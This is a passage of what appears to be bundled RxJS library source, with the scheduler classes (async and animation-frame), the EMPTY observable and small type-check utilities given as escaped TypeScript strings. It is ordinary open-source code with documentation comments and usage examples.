{\n errored = true;\n // HACK: Since code elsewhere is relying on the \"truthiness\" of the\n // return here, we can't have it return \"\" or 0 or false.\n // TODO: Clean this up when we refactor schedulers mid-version-8 or so.\n errorValue = e ? e : new Error('Scheduled action threw falsy error');\n }\n if (errored) {\n this.unsubscribe();\n return errorValue;\n }\n }\n\n unsubscribe() {\n if (!this.closed) {\n const { id, scheduler } = this;\n const { actions } = scheduler;\n\n this.work = this.state = this.scheduler = null!;\n this.pending = false;\n\n arrRemove(actions, this);\n if (id != null) {\n this.id = this.recycleAsyncId(scheduler, id, null);\n }\n\n this.delay = null!;\n super.unsubscribe();\n }\n }\n}\n", "import { Action } from './scheduler/Action';\nimport { Subscription } from './Subscription';\nimport { SchedulerLike, SchedulerAction } from './types';\nimport { dateTimestampProvider } from './scheduler/dateTimestampProvider';\n\n/**\n * An execution context and a data structure to order tasks and schedule their\n * execution. Provides a notion of (potentially virtual) time, through the\n * `now()` getter method.\n *\n * Each unit of work in a Scheduler is called an `Action`.\n *\n * ```ts\n * class Scheduler {\n * now(): number;\n * schedule(work, delay?, state?): Subscription;\n * }\n * ```\n *\n * @class Scheduler\n * @deprecated Scheduler is an internal implementation detail of RxJS, and\n * should not be used directly. Rather, create your own class and implement\n * {@link SchedulerLike}. Will be made internal in v8.\n */\nexport class Scheduler implements SchedulerLike {\n public static now: () => number = dateTimestampProvider.now;\n\n constructor(private schedulerActionCtor: typeof Action, now: () => number = Scheduler.now) {\n this.now = now;\n }\n\n /**\n * A getter method that returns a number representing the current time\n * (at the time this function was called) according to the scheduler's own\n * internal clock.\n * @return {number} A number that represents the current time. May or may not\n * have a relation to wall-clock time. May or may not refer to a time unit\n * (e.g. milliseconds).\n */\n public now: () => number;\n\n /**\n * Schedules a function, `work`, for execution. May happen at some point in\n * the future, according to the `delay` parameter, if specified. May be passed\n * some context object, `state`, which will be passed to the `work` function.\n *\n * The given arguments will be processed an stored as an Action object in a\n * queue of actions.\n *\n * @param {function(state: ?T): ?Subscription} work A function representing a\n * task, or some unit of work to be executed by the Scheduler.\n * @param {number} [delay] Time to wait before executing the work, where the\n * time unit is implicit and defined by the Scheduler itself.\n * @param {T} [state] Some contextual data that the `work` function uses when\n * called by the Scheduler.\n * @return {Subscription} A subscription in order to be able to unsubscribe\n * the scheduled work.\n */\n public schedule(work: (this: SchedulerAction, state?: T) => void, delay: number = 0, state?: T): Subscription {\n return new this.schedulerActionCtor(this, work).schedule(state, delay);\n }\n}\n", "import { Scheduler } from '../Scheduler';\nimport { Action } from './Action';\nimport { AsyncAction } from './AsyncAction';\nimport { TimerHandle } from './timerHandle';\n\nexport class AsyncScheduler extends Scheduler {\n public actions: Array> = [];\n /**\n * A flag to indicate whether the Scheduler is currently executing a batch of\n * queued actions.\n * @type {boolean}\n * @internal\n */\n public _active: boolean = false;\n /**\n * An internal ID used to track the latest asynchronous task such as those\n * coming from `setTimeout`, `setInterval`, `requestAnimationFrame`, and\n * others.\n * @type {any}\n * @internal\n */\n public _scheduled: TimerHandle | undefined;\n\n constructor(SchedulerAction: typeof Action, now: () => number = Scheduler.now) {\n super(SchedulerAction, now);\n }\n\n public flush(action: AsyncAction): void {\n const { actions } = this;\n\n if (this._active) {\n actions.push(action);\n return;\n }\n\n let error: any;\n this._active = true;\n\n do {\n if ((error = action.execute(action.state, action.delay))) {\n break;\n }\n } while ((action = actions.shift()!)); // exhaust the scheduler queue\n\n this._active = false;\n\n if (error) {\n while ((action = actions.shift()!)) {\n action.unsubscribe();\n }\n throw error;\n }\n }\n}\n", "import { AsyncAction } from './AsyncAction';\nimport { AsyncScheduler } from './AsyncScheduler';\n\n/**\n *\n * Async Scheduler\n *\n * Schedule task as if you used setTimeout(task, duration)\n *\n * `async` scheduler schedules tasks asynchronously, by putting them on the JavaScript\n * event loop queue. It is best used to delay tasks in time or to schedule tasks repeating\n * in intervals.\n *\n * If you just want to \"defer\" task, that is to perform it right after currently\n * executing synchronous code ends (commonly achieved by `setTimeout(deferredTask, 0)`),\n * better choice will be the {@link asapScheduler} scheduler.\n *\n * ## Examples\n * Use async scheduler to delay task\n * ```ts\n * import { asyncScheduler } from 'rxjs';\n *\n * const task = () => console.log('it works!');\n *\n * asyncScheduler.schedule(task, 2000);\n *\n * // After 2 seconds logs:\n * // \"it works!\"\n * ```\n *\n * Use async scheduler to repeat task in intervals\n * ```ts\n * import { asyncScheduler } from 'rxjs';\n *\n * function task(state) {\n * console.log(state);\n * this.schedule(state + 1, 1000); // `this` references currently executing Action,\n * // which we reschedule with new state and delay\n * }\n *\n * asyncScheduler.schedule(task, 3000, 0);\n *\n * // Logs:\n * // 0 after 3s\n * // 1 after 4s\n * // 2 after 5s\n * // 3 after 6s\n * ```\n */\n\nexport const asyncScheduler = new AsyncScheduler(AsyncAction);\n\n/**\n * @deprecated Renamed to {@link asyncScheduler}. Will be removed in v8.\n */\nexport const async = asyncScheduler;\n", "import { AsyncAction } from './AsyncAction';\nimport { AnimationFrameScheduler } from './AnimationFrameScheduler';\nimport { SchedulerAction } from '../types';\nimport { animationFrameProvider } from './animationFrameProvider';\nimport { TimerHandle } from './timerHandle';\n\nexport class AnimationFrameAction extends AsyncAction {\n constructor(protected scheduler: AnimationFrameScheduler, protected work: (this: SchedulerAction, state?: T) => void) {\n super(scheduler, work);\n }\n\n protected requestAsyncId(scheduler: AnimationFrameScheduler, id?: TimerHandle, delay: number = 0): TimerHandle {\n // If delay is greater than 0, request as an async action.\n if (delay !== null && delay > 0) {\n return super.requestAsyncId(scheduler, id, delay);\n }\n // Push the action to the end of the scheduler queue.\n scheduler.actions.push(this);\n // If an animation frame has already been requested, don't request another\n // one. If an animation frame hasn't been requested yet, request one. Return\n // the current animation frame request id.\n return scheduler._scheduled || (scheduler._scheduled = animationFrameProvider.requestAnimationFrame(() => scheduler.flush(undefined)));\n }\n\n protected recycleAsyncId(scheduler: AnimationFrameScheduler, id?: TimerHandle, delay: number = 0): TimerHandle | undefined {\n // If delay exists and is greater than 0, or if the delay is null (the\n // action wasn't rescheduled) but was originally scheduled as an async\n // action, then recycle as an async action.\n if (delay != null ? delay > 0 : this.delay > 0) {\n return super.recycleAsyncId(scheduler, id, delay);\n }\n // If the scheduler queue has no remaining actions with the same async id,\n // cancel the requested animation frame and set the scheduled flag to\n // undefined so the next AnimationFrameAction will request its own.\n const { actions } = scheduler;\n if (id != null && actions[actions.length - 1]?.id !== id) {\n animationFrameProvider.cancelAnimationFrame(id as number);\n scheduler._scheduled = undefined;\n }\n // Return undefined so the action knows to request a new async id if it's rescheduled.\n return undefined;\n }\n}\n", "import { AsyncAction } from './AsyncAction';\nimport { AsyncScheduler } from './AsyncScheduler';\n\nexport class AnimationFrameScheduler extends AsyncScheduler {\n public flush(action?: AsyncAction): void {\n this._active = true;\n // The async id that effects a call to flush is stored in _scheduled.\n // Before executing an action, it's necessary to check the action's async\n // id to determine whether it's supposed to be executed in the current\n // flush.\n // Previous implementations of this method used a count to determine this,\n // but that was unsound, as actions that are unsubscribed - i.e. cancelled -\n // are removed from the actions array and that can shift actions that are\n // scheduled to be executed in a subsequent flush into positions at which\n // they are executed within the current flush.\n const flushId = this._scheduled;\n this._scheduled = undefined;\n\n const { actions } = this;\n let error: any;\n action = action || actions.shift()!;\n\n do {\n if ((error = action.execute(action.state, action.delay))) {\n break;\n }\n } while ((action = actions[0]) && action.id === flushId && actions.shift());\n\n this._active = false;\n\n if (error) {\n while ((action = actions[0]) && action.id === flushId && actions.shift()) {\n action.unsubscribe();\n }\n throw error;\n }\n }\n}\n", "import { AnimationFrameAction } from './AnimationFrameAction';\nimport { AnimationFrameScheduler } from './AnimationFrameScheduler';\n\n/**\n *\n * Animation Frame Scheduler\n *\n * Perform task when `window.requestAnimationFrame` would fire\n *\n * When `animationFrame` scheduler is used with delay, it will fall back to {@link asyncScheduler} scheduler\n * behaviour.\n *\n * Without delay, `animationFrame` scheduler can be used to create smooth browser animations.\n * It makes sure scheduled task will happen just before next browser content repaint,\n * thus performing animations as efficiently as possible.\n *\n * ## Example\n * Schedule div height animation\n * ```ts\n * // html:
\n * import { animationFrameScheduler } from 'rxjs';\n *\n * const div = document.querySelector('div');\n *\n * animationFrameScheduler.schedule(function(height) {\n * div.style.height = height + \"px\";\n *\n * this.schedule(height + 1); // `this` references currently executing Action,\n * // which we reschedule with new state\n * }, 0, 0);\n *\n * // You will see a div element growing in height\n * ```\n */\n\nexport const animationFrameScheduler = new AnimationFrameScheduler(AnimationFrameAction);\n\n/**\n * @deprecated Renamed to {@link animationFrameScheduler}. Will be removed in v8.\n */\nexport const animationFrame = animationFrameScheduler;\n", "import { Observable } from '../Observable';\nimport { SchedulerLike } from '../types';\n\n/**\n * A simple Observable that emits no items to the Observer and immediately\n * emits a complete notification.\n *\n * Just emits 'complete', and nothing else.\n *\n * ![](empty.png)\n *\n * A simple Observable that only emits the complete notification. It can be used\n * for composing with other Observables, such as in a {@link mergeMap}.\n *\n * ## Examples\n *\n * Log complete notification\n *\n * ```ts\n * import { EMPTY } from 'rxjs';\n *\n * EMPTY.subscribe({\n * next: () => console.log('Next'),\n * complete: () => console.log('Complete!')\n * });\n *\n * // Outputs\n * // Complete!\n * ```\n *\n * Emit the number 7, then complete\n *\n * ```ts\n * import { EMPTY, startWith } from 'rxjs';\n *\n * const result = EMPTY.pipe(startWith(7));\n * result.subscribe(x => console.log(x));\n *\n * // Outputs\n * // 7\n * ```\n *\n * Map and flatten only odd numbers to the sequence `'a'`, `'b'`, `'c'`\n *\n * ```ts\n * import { interval, mergeMap, of, EMPTY } from 'rxjs';\n *\n * const interval$ = interval(1000);\n * const result = interval$.pipe(\n * mergeMap(x => x % 2 === 1 ? of('a', 'b', 'c') : EMPTY),\n * );\n * result.subscribe(x => console.log(x));\n *\n * // Results in the following to the console:\n * // x is equal to the count on the interval, e.g. (0, 1, 2, 3, ...)\n * // x will occur every 1000ms\n * // if x % 2 is equal to 1, print a, b, c (each on its own)\n * // if x % 2 is not equal to 1, nothing will be output\n * ```\n *\n * @see {@link Observable}\n * @see {@link NEVER}\n * @see {@link of}\n * @see {@link throwError}\n */\nexport const EMPTY = new Observable((subscriber) => subscriber.complete());\n\n/**\n * @param scheduler A {@link SchedulerLike} to use for scheduling\n * the emission of the complete notification.\n * @deprecated Replaced with the {@link EMPTY} constant or {@link scheduled} (e.g. `scheduled([], scheduler)`). Will be removed in v8.\n */\nexport function empty(scheduler?: SchedulerLike) {\n return scheduler ? emptyScheduled(scheduler) : EMPTY;\n}\n\nfunction emptyScheduled(scheduler: SchedulerLike) {\n return new Observable((subscriber) => scheduler.schedule(() => subscriber.complete()));\n}\n", "import { SchedulerLike } from '../types';\nimport { isFunction } from './isFunction';\n\nexport function isScheduler(value: any): value is SchedulerLike {\n return value && isFunction(value.schedule);\n}\n", "import { SchedulerLike } from '../types';\nimport { isFunction } from './isFunction';\nimport { isScheduler } from './isScheduler';\n\nfunction last(arr: T[]): T | undefined {\n return arr[arr.length - 1];\n}\n\nexport function popResultSelector(args: any[]): ((...args: unknown[]) => unknown) | undefined {\n return isFunction(last(args)) ? args.pop() : undefined;\n}\n\nexport function popScheduler(args: any[]): SchedulerLike | undefined {\n return isScheduler(last(args)) ? args.pop() : undefined;\n}\n\nexport function popNumber(args: any[], defaultValue: number): number {\n return typeof last(args) === 'number' ? args.pop()! : defaultValue;\n}\n", "export const isArrayLike = ((x: any): x is ArrayLike => x && typeof x.length === 'number' && typeof x !== 'function');", "import { isFunction } from \"./isFunction\";\n\n/**\n * Tests to see if the object is \"thennable\".\n * @param value the object to test\n */\nexport function isPromise(value: any): value is PromiseLike {\n return isFunction(value?.then);\n}\n", "import { InteropObservable } from '../types';\nimport { observable as Symbol_observable } from '../symbol/observable';\nimport { isFunction } from './isFunction';\n\n/** Identifies an input as being Observable (but not necessary an Rx Observable) */\nexport function isInteropObservable(input: any): input is InteropObservable {\n return isFunction(input[Symbol_observable]);\n}\n", "import { isFunction } from './isFunction';\n\nexport function isAsyncIterable(obj: any): obj is AsyncIterable {\n return Symbol.asyncIterator && isFunction(obj?.[Symbol.asyncIterator]);\n}\n", "/**\n * Creates the TypeError to throw if an invalid object is passed to `from` or `scheduled`.\n * @param input The object that was passed.\n */\nexport function createInvalidObservableTypeError(input: any) {\n // TODO: We should create error codes that can be looked up, so this can be less verbose.\n return new TypeError(\n `You provided ${\n input !== null && typeof input === 'object' ? 'an invalid object' : `'${input}'`\n } where a stream was expected. You can provide an Observable, Promise, ReadableStream, Array, AsyncIterable, or Iterable.`\n );\n}\n", "export function getSymbolIterator(): symbol {\n if (typeof Symbol !== 'function' || !Symbol.iterator) {\n return '@@iterator' as any;\n }\n\n return Symbol.iterator;\n}\n\nexport const iterator = getSymbolIterator();\n", "import { iterator as Symbol_iterator } from '../symbol/iterator';\nimport { isFunction } from './isFunction';\n\n/** Identifies an input as being an Iterable */\nexport function isIterable(input: any): input is Iterable {\n return isFunction(input?.[Symbol_iterator]);\n}\n", "import { ReadableStreamLike } from '../types';\nimport { isFunction } from './isFunction';\n\nexport async function* readableStreamLikeToAsyncGenerator(readableStream: ReadableStreamLike): AsyncGenerator {\n const reader = readableStream.getReader();\n try {\n while (true) {\n const { value, done } = await reader.read();\n if (done) {\n return;\n }\n yield value!;\n }\n } finally {\n reader.releaseLock();\n }\n}\n\nexport function isReadableStreamLike(obj: any): obj is ReadableStreamLike {\n // We don't want to use instanceof checks because they would return\n // false for instances from another Realm, like an